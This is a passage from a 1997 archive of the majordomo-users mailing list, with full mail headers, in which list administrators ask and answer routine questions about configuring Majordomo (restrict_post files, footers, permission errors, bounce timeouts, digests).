1997 13:50:32 +0000 To: majordomo-users@greatcircle.com From: Mercedes Gimenez Subject: problem whit restrict list Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hello all. I have configured the list.config whit restrict-post: list-restrict. list-restrict is a hidden list When I subscribe one user to list, I subscribe him to list-restrict too. How can avoid the welcome mail of list-restrict?? (no the welcome mail of list) Thanks in advance, Mercedes *********************************************************************** Mercedes Gim=E9nez Barrio Phone: +34-1-397.5153 Servicio de Inform=E1tica Fax: +34-1-397.3914 Universidad Aut=F3noma de Madrid mail: mercedes.gimenez@uam.es Cantoblanco E-28049 Madrid Spain *********************************************************************** From owner-majordomo-users-outgoing Sat Jun 14 21:34:59 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id UAA20237 for majordomo-users-outgoing; Sat, 14 Jun 1997 20:46:47 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id UAA20229 for majordomo-users@greatcircle.com; Sat, 14 Jun 1997 20:46:45 -0700 (PDT) Received: from soho.pratt.edu ([207.127.153.72]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA18632 for ; Tue, 10 Jun 1997 14:13:04 -0700 (PDT) Received: from localhost (jmonos@localhost) by soho.pratt.edu (8.8.5/8.8.4) with SMTP id RAA03606 for ; Tue, 10 Jun 1997 17:15:11 -0400 Date: Tue, 10 Jun 1997 17:15:11 -0400 (EDT) From: John Monos To: majordomo-users@greatcircle.com Subject: MAJORDOMO ABORT (mj_resend) error Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi, I am attempting to get majordomo to work correctly on this server running linux kernel 2.0.30 Redhat 4.1 Vanderbilt. I created a trial list called admin. All seemed to be going well as far as subscribing and unsubscribing until I attempted to send a message to the list and the following bounced back to me, the is owner. ---------- Forwarded message ---------- Date: Tue, 10 Jun 1997 17:10:49 -0400 From: owner-admin@soho.pratt.edu To: owner-admin@soho.pratt.edu Subject: MAJORDOMO ABORT (mj_resend) -- MAJORDOMO ABORT (mj_resend)!! shlock: '/home/majordom/lists' is not writable by UID 8 GID 12 The obvious solution would be to add mail as a member of the majordom group, however, I think that there is another problem causing this. Any help would be greatly appreciated. Thanks all. John Monos jmonos@soho.pratt.edu From owner-majordomo-users-outgoing Sat Jun 14 21:41:41 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id UAA21919 for majordomo-users-outgoing; Sat, 14 Jun 1997 20:59:09 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id UAA21895 for majordomo-users@greatcircle.com; Sat, 14 Jun 1997 20:59:04 -0700 (PDT) Received: from mozart.si.ualg.pt (mozart.si.ualg.pt [193.136.224.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id HAA13745 for ; Thu, 12 Jun 1997 07:29:48 -0700 (PDT) Received: by mozart.si.ualg.pt; id AA26830; Thu, 12 Jun 1997 14:31:25 GMT Message-Id: <3.0.32.19970612153440.00a5ca50@mozart.si.ualg.pt> X-Sender: jrochate@mozart.si.ualg.pt X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Thu, 12 Jun 1997 15:34:41 +0100 To: majordomo-users@greatcircle.com From: Joao Rochate Subject: Strange behavior Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi.. I've read the FAQ and I still can't find the reason for the problem I have: Everything seems to be working, but I can't have control on my mailing list. I can't moderate, I can't put a footer on all messages, I can't stop people from outside the list to send messages... But I can subscribe, unsubscribe, etc.. What's wrong? I use Digital UNIX on Alpha. Thanks, Joao Rochate ======================================================= Joao Pedro Rochate | EMail: jrochate@ualg.pt Servicos de Informatica | URL: w3.ualg.pt/~jrochate Universidade do Algarve | Phone: +351 (0)89 800 961 8000 Gambelas - FARO | ISDN: +351 (0)89 860 125 P O R T U G A L (pt) | Mobile:+351 (0)936 660 662 -=[ http://www.ualg.pt ]=- | Fax: +351 (0)89 860 129 ======================================================= Eng. de Sistemas e Computacao - UCEH - Univ. do Algarve From owner-majordomo-users-outgoing Sat Jun 14 21:43:37 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id UAA21172 for majordomo-users-outgoing; Sat, 14 Jun 1997 20:54:30 -0700 (PDT) From: majordomo-users-owner@GreatCircle.COM Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id UAA21161 for majordomo-users; Sat, 14 Jun 1997 20:54:26 -0700 (PDT) X-Mailer: Mail User's Shell (7.2.5 10/14/92) Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA27659; Wed, 11 Jun 1997 17:57:42 -0700 (PDT) Date: Wed, 11 Jun 1997 17:57:42 -0700 (PDT) Message-Id: <199706120057.RAA27659@honor.greatcircle.com> To: majordomo-users-owner@GreatCircle.COM Subject: BOUNCE majordomo-users@GreatCircle.COM: Admin request of type /\bsubscribe\b/i at line 1 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >From owner-majordomo-users Wed Jun 11 17:57:29 1997 Received: from slacker.cu-online.com (slacker.cu-online.com [206.185.2.73]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id RAA27590 for ; Wed, 11 Jun 1997 17:57:25 -0700 (PDT) Received: from localhost (sarge@localhost) by slacker.cu-online.com (8.8.5/8.8.5) with SMTP id UAA22288 for ; Wed, 11 Jun 1997 20:03:47 -0500 (CDT) Date: Wed, 11 Jun 1997 20:03:46 -0500 (CDT) From: Sarge in Charge To: majordomo-users@greatcircle.com Subject: How? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII can anyone e-mail me back and tell me how I can subscribe to this mailing list? E-mail me back at sarge@slacker.cu-online.com ******************************************************************************* Officer White Badge# 908 Saying: You miss 100% of the chances, you never take!!!! ******************************************************************************* From owner-majordomo-users-outgoing Sat Jun 14 21:50:16 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA22295 for majordomo-users-outgoing; Sat, 14 Jun 1997 21:01:53 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id VAA22283 for majordomo-users@greatcircle.com; Sat, 14 Jun 1997 21:01:50 -0700 (PDT) Received: from mailbox.neosoft.com (mailbox.neosoft.com [206.109.1.16]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id UAA01945 for ; Thu, 12 Jun 1997 20:41:20 -0700 (PDT) Received: from praline.no.neosoft.com (praline.no.NeoSoft.COM [206.27.160.253]) by mailbox.neosoft.com (8.8.4/8.8.3) with SMTP id WAA01283 for ; Thu, 12 Jun 1997 22:42:42 -0500 (CDT) Date: Thu, 12 Jun 1997 22:42:41 -0500 (CDT) From: Ray Jones cc: majordomo-users@GreatCircle.COM Subject: Re: Majordomo results: list abuse In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On 12 Jun 1997, Rich Pieri wrote: > * Adding +confirm to list subscription policy to prevent rapid-fire > subscription and unsubscription requests. I know HOW it works, but how does this help list abuse if you already have restrict_post = listname subscription_policy = closed who_access = closed which_access = closed have the list set to not advertise and so on. I've never tried it as I can't see what else it would do for me. I can see how it would help if you have an open subscribe policy, but I don't. -- Regards, "Big Ray the Buggy Driver" Jones - Licensed Tour Guide ICQ UIN 1473313 Disseminating info about New Orleans & Louisiana via my web page at http://www.neosoft.com/~rayjones/welcome.html or you can join "Big Ray's" New Orleans Mailing List by sending: subscribe noml To: majordomo@communique.net From owner-majordomo-users-outgoing Sat Jun 14 21:52:22 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id UAA21740 for majordomo-users-outgoing; Sat, 14 Jun 1997 20:58:16 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id UAA21731 for majordomo-users@greatcircle.com; Sat, 14 Jun 1997 20:58:13 -0700 (PDT) Received: from spock.leben.com ([198.64.225.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id FAA07793 for ; Thu, 12 Jun 1997 05:47:47 -0700 (PDT) Received: from localhost (mitch@localhost) by spock.leben.com (8.8.5/8.8.5) with SMTP id HAA11833; Thu, 12 Jun 1997 07:52:48 -0500 Date: Thu, 12 Jun 1997 07:52:46 -0500 (CDT) From: Mitchell Leben To: webmaster cc: Majordomo-Users@GreatCircle.COM Subject: Re: Stuck on -request use, can't set up In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Believe it or not, it IS working! Subscribe/unsubscribe commands should not go to the list (pumpers), but to majordomo. Messages intended for the list members should go do pumpers. I think you got a bit ahead of yourself when you created the list. Before you publicize I suggest you read up on how Majordomo works. You will have your hands full when subscribers start making mistakes and you don't even know what they are doing wrong. http://www.greatcircle.com/majordomo/ -Mitch On Thu, 12 Jun 1997, webmaster wrote: > > for LISTNAME "pumpers" > I have the following: > > in majordomo.cf .... $majordomo_request = 1; > in majordomo.aliases... > pumpers-request: "|/home/majordomo/wrapper majordomo -l pumpers" > > when I send a message to: pumpers@bizsystems.com > > subscribe > > I get a BOUNCE, message is below. > > If I simply send to: majordomo@bizsystems.com > > subscribe pumpers > > everything works fine. > > I would appreciate it if someone could point this NEWBIE to > Majordomo in the right direction > ---------------------------- Mitchell Leben mitch@leben.com http://www.leben.com/~mitch ---------------------------- From owner-majordomo-users-outgoing Sat Jun 14 21:56:24 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id UAA20861 for majordomo-users-outgoing; Sat, 14 Jun 1997 20:52:05 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id UAA20851 for majordomo-users@greatcircle.com; Sat, 14 Jun 1997 20:52:02 -0700 (PDT) Received: from spock.leben.com ([198.64.225.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA16312 for ; Wed, 11 Jun 1997 10:52:41 -0700 (PDT) Received: from localhost (mitch@localhost) by spock.leben.com (8.8.5/8.8.5) with SMTP id MAA05255 for ; Wed, 11 Jun 1997 12:57:11 -0500 Date: Wed, 11 Jun 1997 12:57:10 -0500 (CDT) From: Mitchell Leben To: majordomo-users@greatcircle.com Subject: Re: How to Handle Bad Addresses? In-Reply-To: <9706111011.aa21977@fsm-1.pica.army.mil> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hmmm, 11 days. Mine is set to 5 days. I would think 5 days should be enough to deliver a message? I'd be interested to hear what others set their timeouts to. For the record, I unsubscribed the offending address. The logic below is sound, except I would think NASA could fix a mail server within 5 days! Perhaps that machine is orphaned. This brings up a question I have about being dropped from a mailing list. Certain lists I am on, such as the lists at RedHat software, will drop me from the subscriber list if mail to me bounces. This has happened a few times when we experienced brief network outages. Is there a way to make majordomo behave this way? I would lengthen the bounce time, of course, but it might be a useful feature. For example; automatically unsubscribe a user after mail bounces for 48 hours. -Mitch On Wed, 11 Jun 1997, Info-LabVIEW List Maintainer wrote: > It's not unusual for mail to back up for days at a time. I have my MTA > (MMDF, in this case) set to timeout msgs when they're 164 hours (11 days) > old. What you do with those addresses is pretty much your call. For a big > organization like NASA, I'd personally leave the user subscribed, figgering > the problem to be fixable and likely to be fixed. A user at somesite.com, I'd > consider axeing... ---------------------------- Mitchell Leben mitch@leben.com http://www.leben.com/~mitch ---------------------------- From owner-majordomo-users-outgoing Sat Jun 14 22:03:38 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id UAA21264 for majordomo-users-outgoing; Sat, 14 Jun 1997 20:55:03 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id UAA21248 for majordomo-users@greatcircle.com; Sat, 14 Jun 1997 20:54:59 -0700 (PDT) Received: from slacker.cu-online.com (slacker.cu-online.com [206.185.2.73]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id SAA29202 for ; Wed, 11 Jun 1997 18:04:40 -0700 (PDT) Received: from localhost (sarge@localhost) by slacker.cu-online.com (8.8.5/8.8.5) with SMTP id UAA22305 for ; Wed, 11 Jun 1997 20:10:47 -0500 (CDT) Date: Wed, 11 Jun 1997 20:10:46 -0500 (CDT) From: Sarge in Charge Reply-To: Sarge in Charge To: majordomo-users@greatcircle.com Subject: Creating lists? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk To anyone: I have not found out how to subscribe to this list yet but if someone could sure e-mail me the answer to this question it would be great. I just got verythingcompiled and everything. I created a file called ready in the majordomo/lists/ready and another file ready.info chmod 664 and I also made the aliases for the list in /etc/majordomo.aliases. I got to do the config part and I type config ready ready.admin like it says and i get this error. I have done it while be SU and normal and still same thing here is the error: config -g ready ready.admin usage: config [-gpn] sysname > If someone or anyone could mail me back at sarge@slacker.cu-online.com that would be great. I am trying to get on the mailing list so until then I'll have to do it this way. Please respond ASAP ******************************************************************************* Officer White Badge# 908 Saying: You miss 100% of the chances, you never take!!!! ******************************************************************************* On Wed, 11 Jun 1997, Sarge in Charge wrote: > can anyone e-mail me back and tell me how I can subscribe to this mailing > list? E-mail me back at sarge@slacker.cu-online.com > > ******************************************************************************* > Officer White > Badge# 908 > > Saying: You miss 100% of the chances, you never take!!!! > ******************************************************************************* > > From owner-majordomo-users-outgoing Sat Jun 14 22:04:56 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id UAA20991 for majordomo-users-outgoing; Sat, 14 Jun 1997 20:52:54 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id UAA20976 for majordomo-users@greatcircle.com; Sat, 14 Jun 1997 20:52:51 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA06491 for ; Wed, 11 Jun 1997 12:57:49 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id OAA10794; Wed, 11 Jun 1997 14:58:57 -0500 (CDT) To: Daniel Schneider Cc: majordomo-users@GreatCircle.COM Subject: Re: digests and subject prefixes References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 11 Jun 1997 14:58:56 -0500 In-Reply-To: Daniel Schneider's message of Wed, 11 Jun 1997 20:30:42 +0200 (CEST) Message-ID: Lines: 13 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "DS" == Daniel Schneider writes: DS> To all messages I attach a footer that explains how to DS> unsubscribe. This footer appears in all messages in the digest, DS> although I would like it if it could only appear at the end of the DS> digest. There's a patch that I haven't tested at which makes digest_rm_footer work. It shouldn't be terribly difficult to create digest_rm_subject_prefix and make it work as well. - J< From owner-majordomo-users-outgoing Sun Jun 15 02:26:30 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id CAA25390 for majordomo-users-outgoing; Sun, 15 Jun 1997 02:16:38 -0700 (PDT) Received: from ornet.ornet.co.il (ornet.co.il [194.90.140.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id CAA25383 for ; Sun, 15 Jun 1997 02:16:27 -0700 (PDT) Received: from merlin.ornet.co.il (merlin.ornet.co.il [194.90.140.25]) by ornet.ornet.co.il (8.7.6/8.7.3) with ESMTP id MAA06732 for ; Sun, 15 Jun 1997 12:18:30 +0300 (IDT) Received: (from ricky@localhost) by merlin.ornet.co.il (8.7.6/8.7.3) id MAA26542; Sun, 15 Jun 1997 12:18:43 +0300 (IDT) Date: Sun, 15 Jun 1997 12:18:43 +0300 (IDT) Message-Id: <199706150918.MAA26542@merlin.ornet.co.il> From: Ricardo Marek To: majordomo-users@GreatCircle.COM Subject: [Q] The use of restrict_post X-Face: "1qJf"LysT#xLa=~giYhF>sci:y$xiN`)FlEd7nf4Al;@ARuU|1|n_F!cXszC^^T;Q&42s}/5Q)5g0$0D'Y6.[]h]:SzlbMWu_?<'*suHpRzOGp&1VHvV~5CDMX}eRc)z3zw,XIPgG@Q*W)oG(/>;YU Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi, In the config file we have the following documentation for restrict_post: # restrict_post [restrict_post] (undef) # If defined, only addresses listed in these files (colon or space # separated) can post to the mailing list. By default, these files # are relative to the lists directory. These files are also checked # when get_access, index_access, info_access, intro_access, # which_access, or who_access is set to 'list'. This is less useful # than it seems it should be since there is no way to create these # files if you do not have access to the machine running resend. # This mechanism will be replaced in a future version of # majordomo/resend. Now, my questions: 1) If the file containing the addresses is in the lists directory, it is shown as a list served by majordomo... (via the lists command), even if the file is not related to a list. How can I have a file containing a list of 'restricted-people' without making a list or creating a config-file for it? 2) If the file of 'resticted-people' can't be in another location than the lists directory, the solution is to create a config-file for it, and make it noadvertise, but this will not work, because the users listed in the 'restriced-people' will see the string 'restricted-people' when they issue a 'lists' command. :( Now, How can I restrict the use of the different archive commands for some internal open list? (external people will not see the list and will not be able to get indexes or files related that internal list. Any comments, solutions? -- --- Ricky -*- Mode: Another-Unix-Hacker -*- ------------------------------------------------------------------------------ --- e-mail: ricky@ornet.co.il ORNET Data Communication Technologies Ltd. --- phone: +972-4-9981314 (A Siemens Company) ------------------------------------------------------------------------------ "You can't have filenames longer than 14 chars. You can't even think about them!" --Larry Wall in Configure from the perl distribution From owner-majordomo-users-outgoing Sun Jun 15 17:45:17 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA07653 for majordomo-users-outgoing; Sun, 15 Jun 1997 17:23:47 -0700 (PDT) Received: from tor.abc.se (tor.abc.se [192.36.170.11]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id RAA07629 for ; Sun, 15 Jun 1997 17:23:34 -0700 (PDT) Received: from pm1-16.abc.se (pm1-16 [192.36.170.35]) by tor.abc.se (8.8.5/8.8.5) with SMTP id UAA02963; Sun, 15 Jun 1997 20:23:11 +0200 (MET DST) Message-Id: <199706151823.UAA02963@tor.abc.se> From: "Mats Dufberg" To: "Ricardo Marek" Cc: "Majordomo Users" Date: Sun, 15 Jun 97 20:22:28 +0200 Reply-To: "Mats Dufberg" X-Mailer: PMMail 1.92 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Subject: Re: [Q] The use of restrict_post Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Sun, 15 Jun 1997 12:18:43 +0300 (IDT), Ricardo Marek wrote: >1) If the file containing the addresses is in the lists directory, it > is shown as a list served by majordomo... (via the lists command), > even if the file is not related to a list. How can I have a file > containing a list of 'restricted-people' without making a list or > creating a config-file for it? The file of trusted poster may be placed in any directory. Just make sure it is readable by the majordomo user. Refer to the list with full path if it is not in the list directory. Mats Dufberg mats.dufberg@abc.se From owner-majordomo-users-outgoing Sun Jun 15 17:55:38 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA04976 for majordomo-users-outgoing; Sun, 15 Jun 1997 17:13:51 -0700 (PDT) Received: from spsem02.sps.mot.com (spsem02.sps.mot.com [192.70.231.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id RAA04936 for ; Sun, 15 Jun 1997 17:13:41 -0700 (PDT) Received: from mogate.sps.mot.com by spsem02.sps.mot.com (4.1/SMI-4.1/Email 2.1 10/25/93) id AA26853 for majordomo-users@greatcircle.com; Sun, 15 Jun 97 17:13:51 MST Received: from emailchd (emailchd.sps.mot.com) by mogate.sps.mot.com (4.1/SMI-4.1/Email-2.0) id AA20780 for majordomo-users@greatcircle.com; Sun, 15 Jun 97 17:13:50 MST Received: from asfpc.sps.mot.com by asiasps1.sps.mot.com (NX5.67c/NX3.0S) id AA04739; Mon, 16 Jun 97 08:11:08 +0800 Message-Id: <9706160011.AA04739@asiasps1.sps.mot.com> X-Mailer: Microsoft Outlook Express 4.71.0544.0 From: "Shirlyn Wong" To: Subject: Using GET to get MIME-type files Date: Mon, 16 Jun 1997 08:25:20 +0800 X-Priority: 3 X-Msmail-Priority: Normal Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Mimeole: Produced By Microsoft MimeOLE Engine V4.71.0544.0 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hello all. I've been using Majordomo 1.94 for some time now and have used the GET command to allow users to retrieve forms (ASCII-only). However, I think I've gotten to a point where I would like to send out forms in Excel or Word format and don't know how to do it. I've tried simply GETting a *.doc but the message I got was still text (with all the cryptic stuffs Word adds at the top). I think that my solution is MIME-types but don't know how to go about supporting it. Should the SendMail be the one I'm looking at? TIA, Shirlyn Destiny grants our wishes but in its own way in order to give us something beyond our wishes. - Goethe From owner-majordomo-users-outgoing Sun Jun 15 18:03:41 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA08362 for majordomo-users-outgoing; Sun, 15 Jun 1997 17:32:42 -0700 (PDT) Received: from snsw01.perth.geoquest.slb.com (snsw01.perth.geoquest.slb.com [163.184.30.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id RAA08331 for ; Sun, 15 Jun 1997 17:32:12 -0700 (PDT) Received: from snsw01 (snsw01 [163.184.30.2]) by snsw01.perth.geoquest.slb.com (8.8.4/SLB) with SMTP id HAA11543; Mon, 16 Jun 1997 07:34:24 +0800 (WST) Message-ID: <33A47C00.5DF5@perth.geoquest.slb.com> Date: Mon, 16 Jun 1997 07:34:24 +0800 From: Simon Kelly Organization: Schlumberger (GeoQuest) X-Mailer: Mozilla 3.0Gold (X11; I; SunOS 5.5.1 sun4u) MIME-Version: 1.0 To: majordomo-users@GreatCircle.COM Subject: Creating footers for list messages Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Easy question I know (well I assume) but it just aint working for me. I want a message at the footer of every message sent to my list. So in my listname.config file I have the following : # message_footer [string_array] (undef) # Text to be appended at the end of all messages posted to the # list. The text is expanded before being used. The following # expansion tokens are defined: $LIST - the name of the current # list, $SENDER - the sender as taken from the from line, $VERSION, # the version of majordomo. If used in a digest, no expansion # tokens are provided message_footer << END This message was sent to $LIST blah blah ..... END but when i send to my test list, I do not see this footer. Is there anything else I need to switch on? Kel -- ----------------------------------------------------- Simon Kelly Email : skelly@perth.geoquest.slb.com System Administrator Schlumberger (Geoquest) Tel : +61 8 9360 4870 Perth, Western Australia Fax : +61 8 9322 3080 ----------------------------------------------------- From owner-majordomo-users-outgoing Sun Jun 15 18:08:05 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA00667 for majordomo-users-outgoing; Sun, 15 Jun 1997 16:54:31 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA00347 for ; Sun, 15 Jun 1997 16:53:31 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id RAA17367 for ; Sun, 15 Jun 1997 17:27:34 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id RAA30785; Sun, 15 Jun 1997 17:27:34 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: How to Handle Bad Addresses? References: X-No-Archive: yes Date: 15 Jun 1997 17:27:34 -0400 In-Reply-To: Mitchell Leben's message of "Wed, 11 Jun 1997 12:57:10 -0500 (CDT)" Message-ID: Lines: 28 X-Mailer: Gnus v5.4.56/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "ML" == Mitchell Leben writes: ML> Hmmm, 11 days. Mine is set to 5 days. I would think 5 days should be ML> enough to deliver a message? I'd be interested to hear what others set ML> their timeouts to. Five days is par for the course. That is usually sufficient time for a sysmonster out on a long weekend to fix the problems if they are fixable or implement workarounds such as MX rerouting. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM6ReRJ6VRH7BJMxHAQFsGgQAt5CP7uytOamu0ize4TnpKdGLrSTRc1nY VOuvahKn0GQYSbMmVZz2LjwuvwO39K48bNaZ0p/pSGVdqZ+l92NGGrqKDNcjend7 B1UOxz00Lv+tFt4WetogFjVumE+wFfmh2i5ncinEaPUqrPvWekJYLqrT2iJYyJk0 naD4MBYQZck= =yevk -----END PGP SIGNATURE----- -- Rich Pieri | Do not use Happy Fun Ball on Prescient Technologies, Inc. | concrete. A Stone & Webster Company | I speak for myself, not PTI or SWEC | From owner-majordomo-users-outgoing Sun Jun 15 18:11:11 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA00535 for majordomo-users-outgoing; Sun, 15 Jun 1997 16:54:04 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA00329 for ; Sun, 15 Jun 1997 16:53:23 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id RAA17532 for ; Sun, 15 Jun 1997 17:36:03 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id RAA31060; Sun, 15 Jun 1997 17:36:04 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: [Q] Allowing messages only if they contain some key in the subject line.. References: <2.2.32.19970614152709.0069aca4@pop.ornet.co.il> X-No-Archive: yes Date: 15 Jun 1997 17:36:03 -0400 In-Reply-To: Ricky and Brenda Marek's message of "Sat, 14 Jun 1997 18:27:09 +0300" Message-ID: Lines: 28 X-Mailer: Gnus v5.4.56/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "RaBM" == Ricky and Brenda Marek writes: RaBM> Is there a way to do it? In general principle a mailing list is supposed to be topical. If a list has sufficient traffic that it requires the use of a regular set of keywords to denote topics then it is probably time to split up your list into smaller lists based on those topics, especially since you wish to reject off-topic postings. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM6RgP56VRH7BJMxHAQGVOgP9HF0uMniT+MKJREmPeNxKBvfl7aJchqAh C0EG7QpDL7zWL5tByswrEmUgTjoDNXQ4EGvrqHx1kjwQVppguKFrMJsSCk6p/Rnb VC9I8uyivfuk+WQ8SygBPcWh5YPuiZfoT/8yt6ZIjLwROFWFWhvECj7M15FLGEYw eiDKu/gRkIU= =pqC4 -----END PGP SIGNATURE----- -- Rich Pieri | If Happy Fun Ball begins to smoke, Prescient Technologies, Inc. | get away immediately. Seek shelter A Stone & Webster Company | and cover head. I speak for myself, not PTI or SWEC | From owner-majordomo-users-outgoing Sun Jun 15 18:22:56 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id SAA14528 for majordomo-users-outgoing; Sun, 15 Jun 1997 18:10:03 -0700 (PDT) Received: from ayla.idyllmtn.com (ayla.idyllmtn.com [206.16.238.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id SAA14493 for ; Sun, 15 Jun 1997 18:09:54 -0700 (PDT) Received: (from kynn@localhost) by ayla.idyllmtn.com (8.6.12/8.6.9) id SAA01024; Sun, 15 Jun 1997 18:05:20 -0700 From: Kynn Bartlett Message-Id: <199706160105.SAA01024@ayla.idyllmtn.com> Subject: Re: Creating footers for list messages To: skelly@perth.geoquest.slb.com (Simon Kelly) Date: Sun, 15 Jun 1997 18:05:19 -0700 (PDT) Cc: majordomo-users@GreatCircle.COM In-Reply-To: <33A47C00.5DF5@perth.geoquest.slb.com> from "Simon Kelly" at Jun 16, 97 07:34:24 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > I want a message at the footer of every message sent to my list. > So in my listname.config file I have the following : > message_footer << END > This message was sent to $LIST > blah blah ..... > END > but when i send to my test list, I do not see this footer. > Is there anything else I need to switch on? Are you using resend on your list? --Kynn From owner-majordomo-users-outgoing Sun Jun 15 20:37:58 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id UAA09603 for majordomo-users-outgoing; Sun, 15 Jun 1997 20:37:08 -0700 (PDT) Received: from lists.tax.org (lists.tax.org [205.177.50.129]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id UAA09578 for ; Sun, 15 Jun 1997 20:36:59 -0700 (PDT) Received: from 